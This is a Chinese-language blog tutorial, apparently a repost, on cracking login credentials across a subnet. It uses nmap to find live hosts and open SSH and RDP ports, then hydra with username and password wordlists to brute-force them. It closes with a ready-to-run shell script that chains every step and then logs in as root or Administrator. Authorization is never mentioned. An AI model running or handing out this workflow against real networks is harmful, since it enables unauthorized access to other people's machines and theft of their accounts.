Linux下使用hydra获取linux和windows系统用户名和密码的教程

来源:互联网 发布:数据库的注释 编辑:程序博客网 时间:2024/06/03 19:15
本文主要记录了在linux中使用hydra破解并获取某个网段中linux和windows系统的登录名和密码。其中使用到的工具,例如,弱密码词典、用户名词典、shell脚本我都会传到我的资源里面。

第一步:找到网段内存活的主机

使用nmap工具查找存活的主机并存到up.txt里面,具体代码如下:

在命令行输入:nmap -sn 172.18.16.0/24 > up.txt 

从up.txt里面过滤出ip地址存到ip.txt里面,代码如下:

cat up.txt | grep for | awk '{print $5}'>ip.txt


第二步:使用nmap工具扫描linux和windows的远程端口

linux系统:

cat /etc/ssh/sshd_config 命令查看linux的远程端口,linux的远程端口是22,ssh协议。

windows系统:

开始—运行–cmd下输入 netstat –nba ,命令查看linux的远程端口,windows的远程端口是3389,rdp协议。

查到远程登陆窗口后,使用nmap扫描22和3389的端口,代码如下:

nmap -p22,3389 -iL ip.txt > res.txt

第三步:从结果里过滤出22端口开着的ip地址

从结果里过滤出22端口开着的ip地址,存放到sship.txt里面,代码如下:

cat res.txt  | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt

sship.txt里面的ip地址都是ssh远程开着的linux系统,接下来我们只要用hydra得到它们的密码就可以远程登陆linux系统了。

第四步:从结果里过滤出3389端口开着的ip地址

从结果里过滤出3389端口开着的ip地址,存放到rdpip.txt里面,代码如下:

cat res.txt  | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>rdpip.txt

与第三步类似,rdpip.txt里面的ip地址都是rdp远程开着的windows系统,接下来我们只要用hydra得到它们的密码就可以远程登陆windows系统了。

第五步:使用hydra暴力破解linux密码

在命令行输入以下命令:

hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt

这段shell使用了user.txt用户名词典和passwd.txt密码词典以及开启ssh服务的ip地址,使用hydra进行暴力破解,从暴破结果中过滤取出ip地址对应的用户名和密码。

第六步:使用hydra暴力破解windows密码

hydra -L user.txt -P passwd.txt -M rdpip.txt rdp | grep passwd >> find.txt

与第五步相仿,不同的只是协议和ip地址。

第七步:使用找到的密码远程登陆

linux远程连接命令:

ssh -l root 172.18.*.*

输入这个命令之后,系统会提示你输入密码passwd:,这时候你输入获取的密码就可以远程登陆了。

windows远程连接命令:

rdp -l Administrator 172.18.*.*

根据提示输入密码,就可以远程登陆了。

最后,我把这些命令写成了一个shell,如下:

[plain] view plain copy print?
  1. #!/bin/sh  
  2. para1=$#  
  3. para2=$1  
  4. if [ $para1 -eq 0 ]; then  
  5.   echo "请输入你的位置变量"  
  6. else  
  7. echo "-------------------stpe1 check up host list---------------------------"  
  8. echo "nmap -sn $para2 , please wait for moment......"  
  9. nmap -sn "$para2">up.txt  
  10. cat up.txt | grep for | awk '{print $5}'>ip.txt  
  11. echo "up host is done , save to up.txt"  
  12. echo "-------------------stpe2 port check 22 and 3389-----------------------"  
  13. echo "22 and 3389 port checking...  please wait for moment......"  
  14. nmap -p22,3389 -iL ip.txt > res.txt  
  15. echo "-------------------stpe3 select  22 port------------------------------"  
  16. echo "doing 22 save to sship.txt"  
  17. cat res.txt  | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep ssh | awk '{print $5}'>sship.txt  
  18. echo "-------------------stpe4 select  3389 port----------------------------"  
  19. echo "doing 3389 save to 3389ip.txt"  
  20. cat res.txt  | awk '/^Nmap/{T=$0;next;}{print T"\t"$0;}' | grep open | grep 3389 | awk '{print $5}'>rdpip.txt  
  21.   
  22.   
  23. echo "-----------------------------stpe5 attack ssh------------------------"  
  24. hydra -L user.txt -P passwd.txt -M sship.txt ssh | grep passwd >> find.txt  
  25.   
  26.   
  27. echo "-------------------------stpe6 attack 3389---------------------------"  
  28. hydra -L user.txt -P passwd.txt -M rdpip.txt rdp | grep passwd >> find.txt  
  29.   
  30.   
  31. cat -n find.txt  
  32.   
  33.   
  34. fi  

shell运行截图:





PS: SMB:445 rdp :3389 SSH:22


原创粉丝点击